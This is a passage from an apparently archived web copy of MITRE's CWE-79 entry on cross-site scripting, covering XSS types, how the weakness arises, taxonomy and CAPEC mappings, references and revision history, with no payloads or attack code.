In a Stored XSS exploit (Type 2), the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

DOM-based XSS (Type 0) generally involves server-controlled, trusted script that is sent to the client, such as JavaScript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Other

Attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site.

Other

Cross-site scripting (XSS) vulnerabilities occur when:

Untrusted data enters a web application, typically from a web request.
The web application dynamically generates a web page that contains this untrusted data.
During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-79

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-209	XSS Using MIME Type Mismatch
CAPEC-588	DOM-Based XSS
CAPEC-591	Reflected XSS
CAPEC-592	Stored XSS
CAPEC-63	Cross-Site Scripting (XSS)
CAPEC-85	AJAX Footprinting

References

[REF-709]	Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44]	Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44]	Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712]	"Cross-site scripting". Wikipedia. 2008-08-26. <https://en.wikipedia.org/wiki/Cross-site_scripting>. (URL validated: 2023-04-07)
[REF-7]	Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714]	RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715]	Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-716]	Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live>. (URL validated: 2023-04-07)
[REF-45]	OWASP. "OWASP Enterprise Security API (ESAPI) Project". <https://owasp.org/www-project-enterprise-security-api/>. (URL validated: 2025-07-24)
[REF-718]	Ivan Ristic. "XSS Defense HOWTO". <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/>. (URL validated: 2023-04-07)
[REF-719]	OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720]	Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria>. (URL validated: 2023-04-07)
[REF-721]	RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722]	"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723]	"Apache Wicket". <http://wicket.apache.org/>.
[REF-724]	OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725]	OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726]	Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/>. (URL validated: 2023-04-07)
[REF-62]	Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956]	Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. (URL validated: 2018-01-16)
[REF-962]	Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1481]	D3FEND. "D3FEND: Application Layer Firewall". <https://d3fend.mitre.org/dao/artifact/d3f:ApplicationLayerFirewall/>. (URL validated: 2025-09-06)
[REF-1482]	D3FEND. "D3FEND: D3-TL Trusted Library". <https://d3fend.mitre.org/technique/d3f:TrustedLibrary/>. (URL validated: 2025-09-06)

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2025-03-10 (CWE 4.17, 2025-04-03)	Abhi Balakrishnan
2025-03-10 (CWE 4.17, 2025-04-03)	Provided diagram to improve CWE usability.
Modifications
Modification Date	Modifier	Organization
2026-04-30 (CWE 4.20, 2026-04-30)	CWE Content Team	MITRE
2026-04-30 (CWE 4.20, 2026-04-30)	updated Relationships
2025-12-11 (CWE 4.19, 2025-12-11)	CWE Content Team	MITRE
2025-12-11 (CWE 4.19, 2025-12-11)	updated Applicable_Platforms, Demonstrative_Examples, Relationships
2025-09-09 (CWE 4.18, 2025-09-09)	CWE Content Team	MITRE
2025-09-09 (CWE 4.18, 2025-09-09)	updated Applicable_Platforms, Observed_Examples, Potential_Mitigations, References
2025-04-03 (CWE 4.17, 2025-04-03)	CWE Content Team	MITRE
2025-04-03 (CWE 4.17, 2025-04-03)	updated Alternate_Terms, Common_Consequences, Description, Diagram, Other_Notes
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Relationships
2023-06-29 (CWE 4.12, 2023-06-29)	CWE Content Team	MITRE
2023-06-29 (CWE 4.12, 2023-06-29)	updated Mapping_Notes, Relationships
2023-04-27 (CWE 4.11, 2023-04-27)	CWE Content Team	MITRE
2023-04-27 (CWE 4.11, 2023-04-27)	updated References, Relationships, Time_of_Introduction
2023-01-31 (CWE 4.10, 2023-01-31)	CWE Content Team	MITRE
2023-01-31 (CWE 4.10, 2023-01-31)	updated Alternate_Terms, Demonstrative_Examples, Description
2022-10-13 (CWE 4.9, 2022-10-13)	CWE Content Team	MITRE
2022-10-13 (CWE 4.9, 2022-10-13)	updated Background_Details, Observed_Examples
2022-06-28 (CWE 4.8, 2022-06-28)	CWE Content Team	MITRE
2022-06-28 (CWE 4.8, 2022-06-28)	updated Observed_Examples, Relationships
2021-10-28 (CWE 4.6, 2021-10-28)	CWE Content Team	MITRE
2021-10-28 (CWE 4.6, 2021-10-28)	updated Relationships
2021-07-20 (CWE 4.5, 2021-07-20)	CWE Content Team	MITRE
2021-07-20 (CWE 4.5, 2021-07-20)	updated Relationships
2021-03-15 (CWE 4.4, 2021-03-15)	CWE Content Team	MITRE
2021-03-15 (CWE 4.4, 2021-03-15)	updated Demonstrative_Examples, Description
2020-12-10 (CWE 4.3, 2020-12-10)	CWE Content Team	MITRE
2020-12-10 (CWE 4.3, 2020-12-10)	updated Relationships
2020-08-20 (CWE 4.2, 2020-08-20)	CWE Content Team	MITRE
2020-08-20 (CWE 4.2, 2020-08-20)	updated Relationships
2020-06-25 (CWE 4.1, 2020-06-25)	CWE Content Team	MITRE
2020-06-25 (CWE 4.1, 2020-06-25)	updated Observed_Examples, Potential_Mitigations
2020-02-24 (CWE 4.0, 2020-02-24)	CWE Content Team	MITRE
2020-02-24 (CWE 4.0, 2020-02-24)	updated Applicable_Platforms, Potential_Mitigations, Relationships
2019-09-19 (CWE 3.4, 2019-09-19)	CWE Content Team	MITRE
2019-09-19 (CWE 3.4, 2019-09-19)	updated Relationships
2019-01-03 (CWE 3.2, 2019-01-03)	CWE Content Team	MITRE
2019-01-03 (CWE 3.2, 2019-01-03)	updated References, Relationships, Taxonomy_Mappings
2018-03-27 (CWE 3.1, 2018-03-27)	CWE Content Team	MITRE
2018-03-27 (CWE 3.1, 2018-03-27)	updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2017-11-08 (CWE 3.0, 2017-11-08)	CWE Content Team	MITRE
2017-11-08 (CWE 3.0, 2017-11-08)	updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2017-05-03 (CWE 2.11, 2017-05-05)	CWE Content Team	MITRE
2017-05-03 (CWE 2.11, 2017-05-05)	updated Related_Attack_Patterns, Relationships
2017-01-19 (CWE 2.10, 2017-01-19)	CWE Content Team	MITRE
2017-01-19 (CWE 2.10, 2017-01-19)	updated Related_Attack_Patterns
2015-12-07 (CWE 2.9, 2015-12-07)	CWE Content Team	MITRE
2015-12-07 (CWE 2.9, 2015-12-07)	updated Relationships
2014-07-30 (CWE 2.8, 2014-07-31)	CWE Content Team	MITRE
2014-07-30 (CWE 2.8, 2014-07-31)	updated Relationships, Taxonomy_Mappings
2013-07-17 (CWE 2.5, 2013-07-17)	CWE Content Team	MITRE
2013-07-17 (CWE 2.5, 2013-07-17)	updated Relationships
2012-10-30 (CWE 2.3, 2012-10-30)	CWE Content Team	MITRE
2012-10-30 (CWE 2.3, 2012-10-30)	updated Potential_Mitigations
2012-05-11 (CWE 2.2, 2012-05-15)	CWE Content Team	MITRE
2012-05-11 (CWE 2.2, 2012-05-15)	updated References, Relationships
2011-09-13 (CWE 2.1, 2011-09-13)	CWE Content Team	MITRE
2011-09-13 (CWE 2.1, 2011-09-13)	updated Detection_Factors, Potential_Mitigations
2011-06-27 (CWE 2.0, 2011-06-27)	CWE Content Team	MITRE
2011-06-27 (CWE 2.0, 2011-06-27)	updated Relationships
2011-06-01 (CWE 1.13, 2011-06-01)	CWE Content Team	MITRE
2011-06-01 (CWE 1.13, 2011-06-01)	updated Common_Consequences
2011-03-29 (CWE 1.12, 2011-03-30)	CWE Content Team	MITRE
2011-03-29 (CWE 1.12, 2011-03-30)	updated Demonstrative_Examples, References
2010-09-27 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-09-27 (CWE 1.10, 2010-09-27)	updated Potential_Mitigations
2010-06-21 (CWE 1.9, 2010-06-21)	CWE Content Team	MITRE
2010-06-21 (CWE 1.9, 2010-06-21)	updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-04-05 (CWE 1.8.1, 2010-04-05)	CWE Content Team	MITRE
2010-04-05 (CWE 1.8.1, 2010-04-05)	updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-02-16 (CWE 1.8, 2010-02-16)	CWE Content Team	MITRE
2010-02-16 (CWE 1.8, 2010-02-16)	updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2009-12-28 (CWE 1.7, 2009-12-28)	CWE Content Team	MITRE
2009-12-28 (CWE 1.7, 2009-12-28)	updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2009-10-29 (CWE 1.6, 2009-10-29)	CWE Content Team	MITRE
2009-10-29 (CWE 1.6, 2009-10-29)	updated Observed_Examples, Relationships
2009-07-27 (CWE 1.5, 2009-07-27)	CWE Content Team	MITRE
2009-07-27 (CWE 1.5, 2009-07-27)	updated Description
2009-05-27 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-27 (CWE 1.4, 2009-05-27)	updated Name
2009-03-10 (CWE 1.3, 2009-03-10)	CWE Content Team	MITRE
2009-03-10 (CWE 1.3, 2009-03-10)	updated Potential_Mitigations
2009-01-12 (CWE 1.2, 2009-01-12)	CWE Content Team	MITRE
2009-01-12 (CWE 1.2, 2009-01-12)	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2008-09-08 (CWE 1.0, 2008-09-09)	CWE Content Team	MITRE
2008-09-08 (CWE 1.0, 2008-09-09)	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2008-08-15 (CWE 1.0, 2008-09-09)		Veracode
2008-08-15 (CWE 1.0, 2008-09-09)	Suggested OWASP Top Ten 2004 mapping
2008-07-01 (CWE 1.0, 2008-09-09)	Eric Dalci	Cigital
2008-07-01 (CWE 1.0, 2008-09-09)	updated Time_of_Introduction
Previous Entry Names
Change Date	Previous Entry Name
2010-06-21	Failure to Preserve Web Page Structure ('Cross-site Scripting')
2009-05-27	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2009-01-12	Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2008-04-11	Cross-site Scripting (XSS)

Apr	MAY	Jun
	11
2025	2026	2027

Common Weakness Enumeration

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

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